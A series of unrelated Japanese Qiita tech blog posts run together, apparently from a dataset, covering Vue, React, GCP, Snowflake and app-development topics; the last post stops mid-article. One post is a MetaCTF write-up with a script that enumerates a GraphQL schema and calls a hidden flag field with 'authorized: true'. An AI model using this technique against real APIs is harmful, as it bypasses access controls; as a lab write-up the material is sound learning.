OmniAICreator/Qiita-1.07M huggingface dataset:
【Vue.js】サイズ・色にも対応！SVGアイコン簡単な作り方

VueでサクッとオリジナルのSVGアイコンコンポーネントを作成する方法です。
今回は以下の要件を満たすようにします。

- 色が変更できる
- 大きさが変更できる

:point_up: __この記事のポイント__
- CSSの`currentColor`による色変更
- CSS変数を使ったサイズ変更

#下準備

まずはIllustratorでの`<svg>`タグの準備について軽くまとめます。

- 管理上アイコンは一連のものを一つのAIファイルでまとめると良い
- アートボードは100px*100px(任意)
- アートボード、レイヤーともに名前をつける（レイヤー名はSVGのid属性に割り当てられます）
- svgのコードをシンプルにするために"パスのアウトライン"で面データに加工

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/95896/fe8f8b37-dd65-b760-7053-64a625918baf.png)
SVGのオプションは以下のようにします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/95896/a30d6e10-dd9c-d9b7-cc8a-014df4289306.png)
`.svg`ファイルをエディタで開いて`<svg>`タグの部分だけ使います。

##完成品

完成したアイコンコンポーネント`SvgIcon.vue`は以下のような内容になります。

```vue:SvgIcon.vue
<template>
<div　class="svg-icon" :style="sizeSetting">
<svg>
...
</svg>
</div>
</template>
<script>
export default {
  props: {
    size: {
      type: String,
      default: 14,
    },
  },
  computed: {
    sizeSetting() {
      if (this.size == 'responsive') {
        return { '--icon-size': '100%' };
      } else {
        return {
          '--icon-size': this.size + 'px',
        };
      }
    },
  },
};
</script>
<style lang="scss" scoped>
.svg-icon {
  height: var(--icon-size);
  width: var(--icon-size);
  svg {
    fill: currentColor;
    display: block;
  }
}
</style>
```

###解説1 色の変更

色の変更は、`fill` プロパティに`currentColor`を指定することで、 __親要素で指定したcolorプロパティの値を引き継ぐようになっています。__
この方法だと、hoverした時に色を変えたいのも簡単です。(後述)

```vue
<style lang="scss" scoped>
...
svg {
    fill: currentColor;
    display: block;
  }
...
</style>
```
###解説2 サイズの変更

ソース内のコメントに合わせて解説します。

[1] `props`で`size`を定義しておき、呼び出し元で指定できるようにしておきます。
[2] `div`へスタイルのバインディングを行う
[2-1] 数値を受け取った場合はCSS変数に[値]pxを格納
[2-2] 数値指定ではなく文字列`'responsive'`を受け取った場合CSS変数に100%を格納※後述
[3] `svg-icon`クラスの高さと幅に変数を指定する

```vue:SvgIcon.vue
<template>
<div　class="svg-icon" :style="sizeSetting"> <!--[2]バインディングでcomputedのsizeSettingと紐づける -->
<svg>
...
</svg>
</div>
</template>
<script>
export default {
  props: { //[1]呼び出し元からsize属性で値を受け取れるようにする
    size: {
      type: String,
      default: 14,
    },
  },
  computed: {
    sizeSetting() {
      if (this.size == 'responsive') {　//[2-2]サイズ指定せず、設置されるDOMに応じて伸縮させたい時
        return { '--icon-size': '100%' };
      } else {
        return {
          '--icon-size': this.size + 'px',　//[2-1]受け取った数値をCSS変数に格納
        };
      }
    },
  },
};
</script>
<style lang="scss" scoped>
//[3]CSS変数で高さと幅を指定
.svg-icon {　 
  height: var(--icon-size);　
  width: var(--icon-size);
  svg {
   ...
  }
}
</style>
```

#使用例

呼び出し元を　`parent.vue`とします。


__Case1.__
色を指定してアイコンを出したい時(以下の例は通常は#FFF,hoverで#00F)
サイズを指定しなければ14pxで表示されます。

```js:parent.vue
<template>
...
<svg-icon class="text-color"></svg-icon>
...
</template>
<style lang="scss" scoped>
.text-color{
 color:#FFF;
  &:hover{
    color:#00F;
  }
}
</style>

```

__Case2.__
20pxの大きさでアイコンを出したい時

```js:parent.vue
<svg-icon :size="20"></svg-icon>
```

__Case3.__
設置するDOMに応じて伸縮したい時(PC/スマホで出し分けたい時など便利)

```js:parent.vue
<svg-icon :size="'responsive'"></svg-icon>
```

__Case4.__
小数点の値も対応しています。(''で囲って文字列で渡す必要がある点に注意)

```js:parent.vue
<svg-icon :size="'10.5'"></svg-icon>
```
プロダクト志向な開発文化醸成のためにやった3つのこと

# はじめに

この記事は[モチベーションクラウドシリーズアドベントカレンダー2021](https://qiita.com/advent-calendar/2021/mcs)の6日目の記事です。

リンクアンドモチベーションでエンジニアをやっています。
この記事では開発チームにプロダクト志向をもたらすためにやった組織施策を紹介します。

# プロダクト志向の定義
プロダクト志向なチームについて書籍『*[プロダクトマネジメントのすべて](https://www.shoeisha.co.jp/book/detail/9784798166391)*』にてこのように書かれています。
> チームメンバー全員がプロダクトをまるで自分の子どものように愛し、自分の担当領域だけではなく、プロダクト全体のことを考えることを「プロダクト志向」とよぶ。たとえばエンジニアならば、ソフトウェアとしての設計や実装だけでなく、自分の書いたプログラムがどのようにユーザーに使われ、事業に価値を与えるかを考える姿勢のことを指す。

エンジニアのキャリアを語る中でプロダクト志向vs技術志向のような議論を目にすることがありますが、**目的**のあるものを**品質高く**作ることはエンジニアにとって両方必要な考え方かと思います。
私が所属するプロダクトチームでは限られたリソースで的確な価値創出を為すために、プロダクト志向がチームの土台として機能してきたのでやってよかった事例を紹介します。


# 

# 機能型からミッション型組織へ
これまでの弊社の組織形態として、エンジニア、デザイナー、PMなど、それぞれ専門知識や技術を持ったメンバーがそれぞれの部門に所属しており、各部門からメンバーを集めたチームを構成する形になっていました。
弊社が内製化を始めてから開発組織が成熟するまでは、それぞれの専門職がナレッジを展開しながら組織全体として強くなっていこうというねらいがありましたが、副作用として部門で立てた目標とチームの向かう方向が擦り合わない、結果として個人が進む方向がぶれるということがあったかと思います。
開発組織が成熟してきた中で取られたのがプロダクトやプロジェクトごとに組織を区切ってエンジニアやデザイナーが同じ組織に属するミッション型組織にシフトしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/875092/6b09643b-7fea-ff9d-44f8-4d42a1c4ce34.png)


この改編によってメンバーそれぞれのプロフェッショナリティをビジョン・ミッションで束ね、より自分ごととして要件化できるようになってきたのではないかと考えています。
もはやチーム施策というよりは開発組織全体の組織改編にはなりますが、この変更がプロダクト志向を保つために大きな一歩になったので紹介させていただきました。


# チームの行動指針
次に紹介するのがチームの行動指針です。
実は私が所属するチームには既に行動指針が存在していたのですが、時の流れと共にメンバー入れ替わりによって策定背景を知る者が少なくなってきたためリニューアルしました。

策定方法としては、メンバーみんなで理想のチーム像を表すキーワードを持ち寄り、理想に近づくために必要な行動・思考・取り組みについてメンバー全員が考え、最終アウトプットとして指針に落とし込んでいきました。
微妙な言葉のニュアンスやまとまりの良さといった細部までこだわり抜くことで、愛着が湧き日々の思考に常駐させる心理的コストを下げられたかと思っています。

設定して終わりではなく日常の行動に紐づけるために、隔週で行動指針のふりかえりを開催してメンバー各々でできたことを発表し合って称え合うといったことを実施しています。
行動指針を設定して良かったこととしては、チームに一体感が生まれるだけではなく、プロダクトの進むべき方向や達成したい成果に対して個人の行動の道標として目線が揃ったことかと思います。

下記の画像が我々のチームで設定した行動指針です。
DNAの塩基配列である"ATCG"を4つの指針の頭文字としてまとめました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/875092/c1497f9c-d382-0f9a-32d7-becaa64f22ba.png)

# プロダクト提案大会
視点を未来に飛ばして、直近の課題や技術的な実現可能性を度外視した上で、5年後10年後にどのようなプロダクトになっていたいかを考え共有し合う場です。
Howに偏りがちな目線をプロダクトのCoreやWhyから考えて、どんな機能があったら使いたくなるかをチーム全員で考える場はプロダクト志向を深めるために大切な時間になりました。

また、スプレッドシートにそれぞれ書き込んで発表し合う形だと堅苦しい感じになってしまうので、テーマを絞ったりコンセプトを取り入れたりすることで敷居を下げて尖った意見が出やすくなりました。

- 僕の私が考える最強の○○（プロダクト）
- こんな〇〇や嫌だ
- EEYAN GP（IPPON GPのパクリ）
 - 「あれのせいで〇〇開かないっすね〜」何のせい？


提案大会で出たアイデアはその場限りにせずに、PMが持ち返って中長期的なロードマップを策定する上での材料の一つにしています。

# まとめ
2021年を振り返って私のチームでやったことを整理してみました。
上記施策おかげ？で仲良し倶楽部になるでもなく殺伐とするでもなく、楽しく仕事ができているかなあと感じています。
チームビルディングでお悩みの方への助けになったら幸いです。
【React】よく耳にする設計用語の例え話をしてみた

おはこんばんちは、[@ちーず](https://qiita.com/cheez921)です。

本日のテーマは、「設計用語」に関してですが、
正直設計用語ってドキュメント読んでもいまいちパッとこなかったりしますよね。

そのような人にもなるべくわかりやすいよう「例え話」を添えて説明いたします。

## 単一責任の原則
単一責任の原則とは、[SOLID原則](https://ja.wikipedia.org/wiki/SOLID)の1つであり
「一つのモジュール（関数やクラス）は、一つの責任だけを持つべき」という原則です。

Reactでは、コンポーネントやhooksの責務を考える上で、非常に重要な考え方です。


「ハイボールを作る」処理があったと仮定して考えてみましょう。

![ハイボールを作る処理.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142322/07e4d9cb-def1-6568-16d2-d0f14e76df44.png)


図の左側の`処理A`は、

* ウイスキーを入れる
* 炭酸水を入れる

という複数の責任を持っており、この処理はハイボールを作る時にしか使えません。


一方で、図の右側のように**1つの処理に対して一つの責任しか持たない**ように実装した場合、

* 処理B は ウイスキーを入れる
* 処理C は 炭酸水を入れる

ウイスキーロックを作る時に`処理B`が使えますし、
`処理C`なんて、レモンサワーや果実酒サワーなど、いろんなお酒を作る時に大活躍できます。

また、仮に「ウイスキーが腐った！」というバグが発生したとしても、
「発生要因がウイスキーである」ことが発見しやすい、というメリットもあります。
.....ウイスキーって腐るんですかね。




### メリットまとめ
* 汎用的に扱うことができる
* 他の無関係な動作に影響を与えないようにできる
* 単体テストが書きやすい

▼ 参考

https://www.i3design.jp/in-pocket/8854

## 関心の分離（Separation of Concerns）
関心の分離とは、「異なる関心ごとは、異なる部分に分離する」という考え方です。
Componentの命名やレイヤー分けなどに対して良く使われます。

* 見た目
* ビジネスロジック

これらを分離することも「関心の分離」です。

### この考え方も関心の分離...?
先輩からよく 「Componentやhooksは無責任に振る舞え」と指摘されるのですが、
それも「関心の分離」に含まれるのでは？と考えております。

例えば、「数学のノートを取る」という処理があったとします。

![関心の分離.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142322/d17a072c-9483-25a3-004c-b96bd80e6d80.png)

A子はAくんが好きで、Aくんのためだけに数学のノートを書いたとしましょう。
そうすると、自分やAくん以外の人には適応できない数学のノートが完成するわけです。
一方B子は、「数学のノートを取る」ことだけをしたため、誰が見てもわかるノートが完成するわけです。

「数学のノートを取る」という行為に対して、Aくんのためであるなんて知ったこっちゃないわけです。
そのため、「Aくんのために〇〇する」行為と「数学のノートを取る」行為は分離させる必要があります。



▼ 参考

https://qiita.com/MinoDriven/items/37599172b2cd27c38a33

## 分割統治法
分割統治法とは、大きな問題を小さく分割して解決していく手法のことです。
小さく分割することで、影響の範囲を限定していくことができます。

例えば、「部屋の電気がつかない」という問題が発生したとしましょう。
その問題だけ聞くと、非常に大きい問題に聞こえますね。

それでは小さく分割していきましょう。

* 電気代を払っているか
* 部屋の電球に異常がないか
* ブレーカーは上がっているか

そして、それぞれの異常をチェックすれば、原因が特定できるわけです。


## DRYの原則

DRYは「don’t repeat yourself」の略であり、
重複することをなるべく避けるべきとする考え方です。

...シンプルすぎて例え話もいらなさそうですね。笑
SnowparkでUDFを試してみた⛄️

# Snowparkとは

クラウド型DWHのSnowlakeから今年の6月にリリースされた新機能です。
Snowflake内のデータを操作するAPIでSnowflakeの計算リソースを使って処理の実行をすることができます。
現在はScalaのみサポートしてるみたいです。

## 試してみた

今回はSnowparkを使ってUDF（ユーザー定義関数）を使ってみようと思います。
SnowflakeではSQL、JavaScript、JavaのUDFをサポートしています。

Snowparkでは`udf()`を使うことで簡単にUDFを定義することができます。
今回は受け取った値に対して1を追加するUDFにします。
`select()`に対してUDFの対象となるカラムを指定して渡してあげます。
`udf()`の呼び出しはセッションの接続後に来るようにしないと落ちます。

```Main.scala
import com.snowflake.snowpark.Session
import com.snowflake.snowpark.functions._

object Main {
  def main(args: Array[String]): Unit = {
    val session = Session.builder.configFile(getClass.getResource("/profile.properties").getPath).create

    val addOne = udf((x: Int) => x + 1)

    session.table("table1").select(col("col2"), addOne(col("col2")).name("addOne")).show()
    session.close()
  }
}

```

ちゃんと１が追加されてました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/314548/46467798-c09c-40e8-129e-f5244f794d01.png)


UDFの実行前にUDFの登録も良い感じにやってくれてます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/314548/07618c86-dc3c-84e0-9df5-01bdef098193.png)

書き慣れた言語でUDFが書けるとクエリの幅も広がって良さそう⛄️
Cloud Pub/Subメッセージが一定時間ACK処理されていない場合にアラート通知する方法

# はじめに
Cloud Pub/Subメッセージを使用したアプリケーションを作成した際、アプリ側でエラーになっていないのにも関わらずPub/Subメッセージが滞留するという現象が発生したので、Cloud Monitoringを使用して、Pub/Subメッセージが一定時間ACK処理されていない場合にアラートを通知する方法を記述します。

# 前提条件

* GCPプロジェクトが作成済みであること
* プロジェクトのPub/Sub APIが有効化されていること
* Cloud SDKがインストールされている、または、Cloud Shellが使用できること
* アカウントにPub/Subトピック・サブスクリプションの作成権限とCloud Monitoringアラートの作成権限が付与されていること

# 設定方法
## Pub/Subトピックとサブスクリプションの作成

Pub/Subトピックとサブスクリプションをgcloudコマンドで作成します。

```
# トピック作成
$ gcloud pubsub topics create my-topic

# サブスクリプションの作成
$ gcloud pubsub subscriptions create my-sub --topic=my-topic
```

## アラートポリシーの作成

Cloud MonitoringはGCPコンソール画面から作成します。

Menu > Monitoring > アラート でアラートポリシー画面を開き、[CREATE POLICY]ボタンを押下します。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/436850/cd9e95f2-2367-d98b-a925-6e0a06ea9505.png)

[ADD CONDITION]ボタンを押下し、条件設定画面で下記の通りに各項目を設定します。（その他の項目はデフォルト値です。）

|設定項目|設定値|
|---|---|
|Title|Pub/Subメッセージが一定時間ACK処理されてません|
|Resource Type|Cloud Pub/Sub Subscription|
|Metric|Oldest unacked message age|
|Filter|subscription_id="my-sub"|
|Period|1 minute|
|Condition triggers if|Any time violates|
|Condition|is above|
|Threshold|60000 ms|
|For|most recent value|

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/436850/b17cb505-2b97-8200-c8e8-3ccdd5d3b01d.png)
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/436850/5311f139-f4d5-6534-71e9-924a4487e7f2.png)


通知先のNotification Channelsを選択し、アラート名とドキュメントを下記の通りに設定します。

|設定項目|設定値|
|---|---|
|アラート名|Pub/Subメッセージが一定時間ACK処理されてません|
|ドキュメント|Pub/Subメッセージが一定時間ACK処理されてません|

![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/436850/2307209a-7d08-3892-7055-5ce302225a1a.png)

# 動作確認

gcloudコマンドでメッセージを登録します。

```
gcloud pubsub topics publish my-topic --message="hello"
```

1分程度待つと、Notification Channelsで設定した通知先にアラートが通知されます。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/436850/c76d4116-ab17-7b49-bcd6-a8716824ed89.png)



# クリーンアップ

GCPコンソール画面でアラートポリシーを削除します。
ポリシーの詳細画面で[DELETE]ボタンを押下します。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/436850/5c75602f-d94b-fd94-55c9-aebbcef47ed5.png)

gcloudコマンドでPub/Subリソースを削除します。

```
# メッセージの受信
$ gcloud pubsub subscriptions pull my-sub --auto-ack

# サブスクリプションの削除
$ gcloud pubsub subscriptions delete my-sub

# トピックの削除
$ gcloud pubsub topics delete my-topic
```

# 参考記事
* [Cloud Pub/Sub バックログのモニタリング](https://cloud.google.com/pubsub/docs/monitoring#monitoring_the_backlog)
【個人開発】ポートフォリオ（開発実績）紹介WEBアプリ Value Work

## 開発したWebアプリ

### Value Work（バリュー ワーク）
ポートフォリオや開発実績を紹介するWEBアプリです。
無料で利用できるので、ポートフォリオや開発実績のある方はぜひご登録ください。

https://value-work.net

![スクリーンショット 2021-12-05 23.49.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/290840/831dcf2f-7323-6066-4415-504ddddb46f2.png)

### 使い方
簡単2ステップです。

1. アカウント作成  
Googleアカウントでソーシャルログインもできます。
1. サイト情報投稿  
紹介したいWEBアプリやWEBサイトの情報を登録します。

### 主な対象ユーザー
#### 登録ユーザー
システムエンジニア、プログラマ、デザイナー

#### 閲覧ユーザー
お仕事発注者、企業の人事担当

### Value Workを使うメリット
まず、ポートフォリオを皆さんに知ってもらえるきっかけになります。
単純に宣伝として利用できます。もちろん無料です。
また、ポートフォリオや開発実績をまとめて管理することができ、マイページにて一覧表示ができるので就職時や仕事を受注する際にマイページのURLを共有するだけで登録している全ての開発実績を紹介できます。

## 作ろうと思ったきっかけ
以前、ポートフォリオを作った時にみんなに見てほしい・使ってほしいと思ったのですが、ポートフォリオを紹介する様なサイトが見当たらず。。。プレスリリースサイトとかはあったのですが、なんか堅苦しいし、有料のものも多かったので、それなら自分でもっとラフなものを作ってみようと思ったのがきっかけです。

## 技術
簡単にですが紹介します。

- フロントエンド：Angular(TypeScript)
- バックエンド：Laravel(PHP)
- インフラ・その他
    - Nginx
    - Docker
    - AWS
        - EC2
        - ALB
        - S3
        - RDS

無料で使えるインフラを検討してもよかったのですが、今後の拡張性を考えると移行の手間が嫌だったので最初からAWSで構築しています。

## 開発期間
現在、企業に勤めているので仕事外の空いた時間や土日などを利用しての開発でした。
週10~20時間くらいの稼働で約4ヶ月程度かかりました。

## 今後の展望
今後ユーザー数やアクセス数が増えてきたら、お仕事の依頼や企業がスカウトなどもできるような仕組みもつけたいですね。あとは、開発者を支援する機能だったり、アプリを販売したり、などもできるといいかなーと思っています。

## マネタイズについて
当面は広告を付けて少しでも費用回収できればと思っています。（現在はGoogleアドセンスを申請中。）
広告が付いた際には、ぜひ、ご協力ください（笑）

## 最後に
リリースまでは極力スモールに、、、と考えていたものの、これだけ時間もかかってしまったので、もう少しスモールな規模でよかったかなーとも思います。とはいえ、なんとかリリースまで持っていけたのでよかったです。
ぜひ、皆さんの開発実績の紹介の場としてご利用いただければ嬉しいです。
個人開発が少しでも報われ、開発者が少しでも評価されるようになれば嬉しいです。

https://value-work.net
MetaCTF Web Writeup


GraphQL問が面白かったのでWriteupを残します。


## Looking Inwards
問題
It's always fun to take a moment of introspection, in this case not about oneself, but about our field (development/security). For example when it comes to API design, first there were SOAP endpoints primarily based on XML. Then as Web 2.0 came along, RESTful APIs became all the rage. Recently, technologies like GraphQL began to gain traction.

With new technologies, though, come new classes of attacks. Check out this basic GraphQL API server. To get you started, here's one cool thing it can do: If you send it a query in the form of echo(message: "message_here"), it will respond with what you said. Can you get it to give you the flag?

### 解法

問題ページにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/41cc489e-f15e-6bdf-a5be-f18eda2c5193.png)

エラー表示が出ているのを確認できます。
問題文にecho(message: "String")を送れ、とあるので実施してみます。
クエリを送る方法は色々あるみたいですが、今回はpythonで実行してみます。

``` query.py
import requests

headers = {
    'Content-Type': 'application/json'
}

data = '{"query":"query{  echo(message: \\"GraphQL_is_difficult!\\")}"}' 

response = requests.post('https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php',headers=headers,data=data)
print(response.text)


```
上記コードを実行すると下記のようなレスポンスがあります。

```レスポンス
{"data":{"echo":"You said: GraphQL_is_difficult!"}}
```

このことから適切なクエリを送付できればFlagが取得できると考えました。

GraphQLではIntrospectionQuery を使うことでスキーマを確認することができるようですので、これを使い情報収集します。
https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html

確認するためのクエリは以下の通りです。

```
query IntrospectionQuery {
  __schema {
    queryType { name }
    types{
      name
      fields{
        name
        args{
        name
          type{
          kind
          name
            ofType{
            kind
            name
            }
          }
        }
      }
    }
  }
}
```

下記は上記クエリ実行結果の一部です。
明らかにflagと関連がありそうなフィールドを見つけることが出来ました。

```
"name": "super_super_secret_flag_dispenser",
              "args": [
                {
                  "name": "authorized",
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Boolean"
                    }
```

あとはquery.pyのdata=の部分を下記に変更し実行するだけです。

```
 '{"query":"query query{ super_super_secret_flag_dispenser(authorized: true)}"}'
```

Flagが返ってきました！

```
{"data":{"super_super_secret_flag_dispenser":"MetaCTF{look_deep_and_who_knows_what_you_might_find}"}}
```

### 感想
GraphQLには触ったことがなかったので、解けるか不安でしたが無事解くことができてよかったです。
IntrospectionQueryを使った探索など非常に勉強になりました。
高齢者見守りアプリ「メディット」を支える技術【帰省のお供に🚗】


# はじめに
**技術的な内容のみをご覧になりたい方は[こちら](#技術的なポイント)からどうぞ**

[<img src = "https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/713689/f0a2565a-2cec-577c-e17e-883771ecd1e4.png">](https://apple.co/32PFkVv)

先日、App Storeにて**「メディット」**を正式リリースしました！これは高齢者の見守りを目的としたコミュニケーションアプリです。年に数回しか帰省できない、そんなとき家族の安否を知る手助けになります。今回はその機能とそれを支える技術をご紹介します。

# メディットについて

## 開発のきっかけ

核家族化が進み、一人暮らしのお年寄りが増えています。家族が帰ってくるのは帰省のときだけ。このような状況では、家族間のコミニュケーションは少なくなってしまいます。

見守りサービスなるものは以前から多くありました。しかしどれもお年寄り側の情報を一方的に伝えるだけ。これでは良くも悪くも安否確認しかできません。

単なる報告だけでなく、**日々の過ごし方がわかる**ようなアプリをつくる。それがメディットのコンセプトです。

## 機能と特色

![お互いのデータを共有！-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/713689/fead2c37-626a-5dba-3959-1a901829429c.png)


本アプリでは以下の内容をフォロワー全員に知らせることができます。

・毎日やることを達成したかどうか
・今の気分、心の状態
・散歩や買い物をしたなど、1日の過ごし方
・簡単なメッセージ

これらはお年寄り側だけでなく家族がお互いに共有し合うデータです。一方通行でない、相互的なコミュニケーションを目指しています。また、更新日時も表示されるので頻度が下がったら電話するといった使い方もできます。






# 技術的なポイント

## SwiftUI
本アプリは**全面SwiftUI**で構築しています。これはマルチプラットフォームでの開発を念頭に置いた、Appleの最新アプリ開発フレームワークです。

開発にあたっては従来のアプリでよく使われていたUIKitという選択肢もあります。しかし、将来性と拡張性を期待してこちらを選びました。

Apple Watchなどへの対応はもちろん、これからの新技術もどんどん取り入れられるというメリットは大きいものです。メディットもアップデートで機能を拡充していく予定です。


## Sign with Apple

AppleIDを使用した認証機能です。メディットではログイン機構としてこれを採用しています。

採用の理由のひとつは**セキュリティ**です。メールアドレスを通知せずにログインすることが可能なので、高い匿名性を確保することができます。

また利便性にも優れています。メールアドレスやパスワードは忘れることがあります。お年寄りの方々に利用していただくならこの点は見過ごせません。

その点AppleIDなら、iPhoneを使っているならほぼ必ずログイン済みですからスムーズに認証を行うことができます。


## Firebase

ユーザー管理にはデータ送受信にはFirebaseを利用しています。特にFireStoreはオフラインキャッシュもあるので通信状態の悪化にも対応できます。

MVVMパターンでの設計にも適しているといえます。一般的な方法として、以下のようなクラスを用意しておけば送受信どちらの時にも対応することができます。

```swift:UserInfoModel.swift

class UserInfoModel: ObservableObject, Codable, Identifiable {
    
    @Published var name: String = ""
    @Published var loginID: String = ""
    @Published var followers: [String] = []
    
    var updateTime = Date() //更新日時を取得
    
    enum CodingKeys: CodingKey {
        case name
        case loginID
        case follow
        case updateTime
    }
    
    required init(from decoder: Decoder) throws {
        let container = try decoder.container(keyedBy: CodingKeys.self)
        name = try container.decode(String.self, forKey: .name)
        loginID = try container.decode(String.self, forKey: .loginID)
        followers = try container.decode([String].self, forKey: .follow)
        updateTime = try container.decode(Date.self, forKey: .updateTime)
    }
    
    func encode(to encoder: Encoder) throws {
        var container = encoder.container(keyedBy: CodingKeys.self)
        try container.encode(name, forKey: .name)
        try container.encode(loginID, forKey: .loginID)
        try container.encode(followers, forKey: .follow)
        try container.encode(updateTime, forKey: .updateTime)
    }
    
}
```

# 今後の展望

ヘルスケアなどと連携し、より詳細なデータをやりとりできるようにしていきたいと考えています。またUIについては使いやすいものになるように考慮していきたいと思っています。


LGTMや共有等していただけると励みになります☺️
まだまだ至らない点はありますが、より多くの人の役に立てるよう運営を続けていくのでよろしくお願いします。


---

**よかったらこちらもどうぞ！**

・その他作成したアプリ：[ミュート](https://qiita.com/KokumaruGarasu/items/a9e4b8c3b5ba5ebb42ec)

・各種お知らせ：[Twitter](https://twitter.com/tokiwa16448392)

・作成途中のアプリなどについて：[note](https://note.com/izumo092)
Vertex Pipelines で BigQuery からデータをエクスポートするためにシェルスクリプトを使う

[YAMAP エンジニア Advent Calendar 2021](https://qiita.com/advent-calendar/2021/yamap-engginers) の第6日目の記事です。

最近 Vertex Pipelines で MLパイプラインを実装する仕事を始めました。

自分の作るMLパイプラインの最初のコンポーネントは BigQuery からトレーニングに必要な元データをエクスポートすることが求められ、その実装でシェルスクリプトを使ったところ簡単にできたのでまとめてみます。

お手柔らかにお願いします。

# ちなみに

自分のプロジェクトのパイプラインは以下のようなデザインです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/6774/2ec704e6-ad47-a5d4-9325-14c6b34936de.png)

それぞれの役割は表の通りで、この記事では　export コンポーネントについて整理します。

| コンポーネント | 役割 |
| --- | --- |
| export | BigQueryからデータ取得 |
| transform | データの前処理 |
| train | 学習＆バッチ推論 |
| evaluate | 推論結果のパフォーマンス評価 |
| deploy | 推論結果をデプロイ |

# どうやった

BigQuery からデータをエクスポートするコンポーネントに限定したディレクトリ構成です。コンポーネント名は `export` で 3つのファイルから成ります。

```shell-session
☆ tree components/export/
components/export/
├── Dockerfile
├── bin
│   └── export.sh
└── component.yaml
```

Dockerfile はコンポーネントの bin 以下を コンテナの /pipelines/component/bin にコピーするだけのシンプルなイメージを宣言しています。このイメージはパイプラインのデプロイ時にCIでビルドしGCRにデプロイしています。

```Dockerfile
FROM google/cloud-sdk:alpine

COPY ./bin /pipelines/component/bin
```

component.yml です。GCPのプロジェクトID（project_id）を入力、エクスポートしたファイルパス（exported_file）を出力とし、それらを引数に bin/export.sh を実行することを宣言しています。


```components/export/component.yml
name: export

inputs:
# GCPのプロジェクトID
- {name: project_id, type: String} 

outputs:
# BigQueryからエクスポートしたファイルの格納先
- {name: exported_file, type: {GCPPath: {data_type: CSV}}}

implementation:
  container:
    # 先の Dockerfile のイメージは事前に以下のレジストリにデプロイされている想定
    image: "gcr.io/${project_id}/__MY_REPO_NAME__/export:0.1"

    command: [
      /pipelines/component/bin/export.sh,
      {inputValue: project_id},
      {outputPath: exported_file},
    ]
```

最後に bin/export.sh です。 bq コマンドで BigQuery にクエリし、結果をCSVフォーマットでファイルに出力します。

```components/export/bin/export.sh
#!/bin/bash -eu

project=$1 # GCP のプロジェクトID
output=$2  # BigQueryからエクスポートしたデータの出力先のパス

mkdir -p $(dirname $output)

query=$(cat <<-SQL
-- ここにクエリを書く
SELECT
  id, name, age
FROM
  \`$project.db.users\`
SQL
)

bq query \
  --project_id=$project \
  --max_rows=2147483647 \
  --format csv \
  --nouse_legacy_sql "$query" \
  > "$output"
```

あとはexportコンポーネントでoutputPathに指定されていたexported_fileを次のコンポーネントのinputPathに指定すれば良いですね。

# まとめ

BigQueryからデータを出力するコンポーネントがシェルスクリプトで簡単にできました。

複雑なことを求められない場合は便利かもしれません。

---

おわり
LINEでスタンプ（QRコード）を集めて抽選会ができるサービスを作った話

# 概要

LINEで抽選会ができるサービスを今年のゴールデンウィークに作りました。このサービスを作った経緯・技術についてこのアドベントカレンダーで書きます。

# どんなサービスを作ったのか？
LINEで簡単に抽選会が開催できるサービスを作りました🎉

**ザ・抽選会**

https://the-chusenkai.com/

https://twitter.com/Fujiyama_Yuta/status/1390099442229944325

# なぜこのサービスを作ったのか？
家の近くのショッピングモールに遊びに行ったときに、抽選会を開催していました。コロナ禍ということもあり、デジタルでの抽選会でしたが、完全にはデジタル化できていませんでした。

その抽選会では 5,000円以上買い物をすると、抽選券をゲットでき、抽選券に書かれている番号を打ち込むと抽選会に参加できるという仕様でした。「5,000円以上の買い物をしているかどうか」のレシート確認に長蛇の列ができており、これは果たしてデジタル抽選会なのか？自分であればもっとよいプロダクトを作れそう？と思ったのがこの、サービスを作るきっかけです。


# 画面設計・仕様

![アセット 1@3x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147291/90511976-f143-86ea-636f-a45ceb2bf2c2.png)

# システム構成

LINE上で動くアプリケーションとなっており、LIFFの技術を用いて実現しています。

- LINEログイン（LIFF）
- Nuxt.js
- Firebase（Firestore・Functions・Authentication・Hosting）
- Bulma/Buefy

![アセット 2@3x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147291/541a15dc-f082-cd08-f696-2e16558f6d43.png)




# 実装
## LIFF（ScanCode）

QRコードを読み取る部分の実装はLIFF（LINE Front-end Framework）のscanCodeという関数を呼び出しで実現しています。このscanCodeはLIFF v2.15.0（2021/09/30公開）からscanCodeV2となり、アップデートされています。

scanCodeV2もscanCodeもOSやOSのバージョンによっては使えなかったりするので、そのあたりを確認して、使えないバージョンの場合は独自実装したQRコードに飛ばし読み込みを実現しております。

LINE Front-end Framework - LIFF

https://developers.line.biz/ja/docs/liff/overview/

- liff.scanCodeV2()

https://developers.line.biz/ja/reference/liff/#scan-code-v2


- liff.scanCode() （非推奨）

https://developers.line.biz/ja/reference/liff/#scan-code


## 抽選時のロジック（排他制御）

デジタル抽選会なので、当選した景品の在庫管理が必須になり、同じ景品が被ってしまうことが許されません。
同じデータを同時に参照してしまい、その値を同時に更新してしまうと競合状態が生じてしまいます。ある処理がデータを参照している間、別の処理によるデータの利用を制限もしくは禁止する必要がありました。
